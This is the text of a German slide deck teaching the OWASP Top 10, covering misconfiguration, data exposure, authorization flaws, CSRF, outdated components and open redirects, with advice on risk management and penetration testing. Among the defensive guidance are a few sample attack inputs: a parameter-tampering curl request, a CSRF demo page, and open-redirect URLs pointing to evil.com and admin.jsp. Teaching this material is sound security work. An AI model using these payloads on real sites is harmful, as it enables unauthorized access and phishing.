  • 33. A5: Sicherheitsrelevante Fehlkonf. ● Schutz ○ Dokumentation bzgl. Produktionseinsatz beachten ○ Konfigurationsdateien lesen und verstehen ○ Schutzmechanismen auf mehreren Ebenen einbauen ■ Netzwerk: IP & Port Whitelisting ■ Netzwerk: Verschlüsselung der Verbindung ■ Netzwerk: DMZ z.B. mit Bastion Host der Zugriff nur per SSH-Tunnel erlaubt ■ Anwendung: Sichere Passwörter ■ Intrusion Detection / Prevention System
  • 34. A6: Verlust der Vertraulichkeit s. D. ● Beispiele ○ Ungeschützte Datenbanken, z.B. MongoDB ○ "Private" Links z.B. aus Dropbox ○ Standardpasswörter oder unsichere Passwörter ○ Brute Force ○ Netzwerk belauschen (offenes WLAN, physikalischer Angriff) ○ Physischer Zugriff auf unverschlüsselte Backups ○ Schwache Kryptografie (MD5, SSLv3, TLS <1.2, RC4, schwache Zufallszahlen, kein / gleiches Salt, HTTP)
  • 35.
  • 36. ● Schutz (1) ○ Risikomanagement ○ Datensparsamkeit (Erhebung & Löschung) ○ Starke Kryptographie (Algorithmen) ○ siehe Sicherheitsrelevante Fehlkonfiguration ○ siehe Unsichere direkte Objektreferenzen ○ Keine Verwendung von "Privaten" Links ○ Verschlüsselung des Netzwerkverkehrs A6: Verlust der Vertraulichkeit s. D.
  • 37. A6: Verlust der Vertraulichkeit s. D. ● Schutz (2) ○ Ende-zu-Ende Verschlüsselung der Daten (PGP) ○ Multi-Faktor-Authentifizierung (Wissen, Besitzen) ■ Passwort ■ feste IP Adresse ■ zeitbasierte Einmalschlüssel / Time-based One-time Password Algorithm (TOTP)
  • 38. ● Parameter Manipulation in Verbindung mit fehlender oder fehlerhafter serverseitiger Rechte Prüfung ● Beispiel ○ Eingabeparameter Manipulation bei nur clientseitige Eingabevalidierung: curl 'http://localhost:8080/owasp-top10 /user.jsp?userId=1' --data 'userId=1& username=abcdef' ○ Referenzierung von Objekten ohne Zugriffsrechte A7: Fehlerhafte Autorisierung a. AE.
  • 39. A7: Fehlerhafte Autorisierung a. AE. Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Direkter Aufruf einer URL die nur höher privilegierte Nutzer in der Oberfläche sehen Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen Relevante Autorisierung wird als Anfrageparameter (z.B. Rolle im Cookie) übergeben Speicherung von Berechtigungen in Session oder Echtzeit Rechte Abfrage auf Datenbank bei jeder Aktion Manipulation von Daten außerhalb meines Sichtbarkeitsbereichs Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen die als Parameter übergeben werden
  • 40. ● Besuch einer Webseite löst ungewollt Aktion auf einer anderen Webseite aus ● Beispiel ○ andere Webseite hat XSS Lücke ○ bösartige Webseite ■ file:///Users/thobach/Documents/MyMam bu_Workspace/owasp-top10/static/evil- website.html ○ bösartige Werbeanzeige auf gutartiger Webseite A8: Cross-Site Req. Forgery (CSRF)
  • 41. ● Bonus: Logout Button benutzen A8: Cross-Site Req. Forgery (CSRF) Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Böswilliges oder manipuliertes img oder iframe Tag, JavaScript oder Formular auf dritter Webseite Kein unvorhersehbarer geheimer Token bei jeder Anfrage mitgesendet bzw. kein zweiter Faktor bei sensiblen Anfragen verlangt CSRF Token bei Login erzeugen und jedem Request im Payload mitsenden (nicht Cookie, z.B. hidden input Feld) und serverseitig prüfen (z.B. Servlet Filter) Captcha, Passwort erneut verlangen, TAN Access-Control-Allow-Or igin: * Same-origin Policy
  • 42.
  • 43. ● Scan oder Analyse der Anwendung gibt benutzte Drittkomponenten preis, die ggf. veraltet und angreifbar sind ● Beispiel: ○ Response Header Server weist auf Tomcat hin ○ Fehlermeldung zeigt Tomcat Version: http://localhost:8080/owasp-top10/user.jsp?userId= ○ Heartbleed (OpenSSL / CVE-2014-0160) A9: N. v. K. m. bekannten Schwachst. HTTP/1.1 200 OK Server: Apache-Coyote/1.1
  • 44. Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen 1. Scan oder Analyse der Anwendung auf genutzte Komponenten und Versionen 2. Ausnutzen von Sicherheitslücken in genutzten Komponenten Preisgeben der genutzte Komponenten und Versionen (security through obscurity) Fehlerseiten im Produktivbetrieb deaktivieren Server Response Header überschreiben Ausnutzen bekannter Schwachstellen (Injection, XSS, CSRF, Konfiguration, Kryptographie) Nutzung aktueller Versionen (aktives Dependency Management, Dependency Tree) Nutzung sicherer Komponenten (Framework/Library Management) Härten der genutzten Komponenten (Konfiguration) A9: N. v. K. m. bekannten Schwachst.
  • 45. ● Offene Um- oder Weiterleitungen ohne Prüfung durch die der Nutzer vermutet es sei eine sichere Seite ● Beispiele ○ Weiterleitung von vertrauenswürdiger URL z.B. auf Phishing Seite: http://www.example.com/redirect.jsp?url=evil.com ○ Weiterleitung auf interne Seite für die keine Berechtigung existiert: http://www.example.com/boring.jsp?fwd=admin.jsp A10: Ungeprüfte Um- und Weiterleitg.
  • 46. ● Schutzmaßnahmen ○ auf Weiterleitungen oder Umleitungen verzichten ○ oder Whitelisting verwenden und Autorisierung prüfen A10: Ungeprüfte Um- und Weiterleitg.
  • 48. ● Sicherheitsziele und -policy festlegen und sensibilisieren ● Risikoprofil erstellen ○ Daten, Systeme, Angriffsmöglichkeiten, Schutzmaßnahmen und konkrete Umsetzungsmöglichkeiten erfassen und priorisieren ● Implementierung anhand Priorisierung ● Interner Test ● Externer Penetrationstest ● Prozess: PDCA ● “Tue Gutes und sprich darüber” - Sichtbarkeit beim Mgmt. Risikomanagement
  • 49. ● Anbieterauswahl (Vertrauen, Qualifikation, Beispiel Reports, Kosten) ● Risikobasierter Ansatz, Risikoprofil, Umfang ● Projektansatz ● Umsetzung der Ergebnissen einplanen ● Re-Test zumindest bei erstem externen Test einplanen ● Abstand von Sicherheitszertifizierungen für Anwendungen ● Frequenz, Anbieterwechsel, Umfang ● 5 Whys Meeting (Prozessprobleme) Erfahrungen mit ext. Penetrationstests
  • 51. Technisch ● Client- und Serverseitige Eingabevalidierung (Injection, XSS) ● Sessionmanagement (Autentifizierung, CSRF) ● Serverseitige Rechteprüfung ● Layered Security / Defense in Depth ● Aktuelle, hochwertige, wohl-konfigurierte Dependencies ● Starke Verschlüsselung (Transport & Ruhe)
  • 53. Prozesse ● Risikomanagement (PDCA) ● Secure Coding Guidelines ● Code Reviews
  • 55. Danke